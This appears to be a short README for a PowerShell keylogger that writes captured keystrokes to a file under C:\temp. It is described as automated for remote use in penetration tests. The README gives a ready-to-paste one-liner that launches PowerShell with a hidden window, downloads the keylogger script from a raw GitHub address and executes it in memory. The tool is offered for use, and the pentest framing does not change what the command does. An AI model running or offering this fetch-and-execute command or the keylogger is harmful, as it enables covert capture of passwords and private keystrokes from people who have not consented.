This is a simple automated Keylogger that records keystroke and outputs to file. The default location is C:\temp\Keylogger.txt
Either download locally or run:
powershell -nop -w hidden IEX("(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/securethelogs/Keylogger/master/Keylogger.ps1')")
This will run in the background until the C:\temp\keylogger.txt file is moved or renamed. Once the file is no longer present, Keylogger will end the Powershell session automatically.
This is a modfication of the script http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx , I basically took Start-keylogger and automated it so that it can be used remotely during a pentest.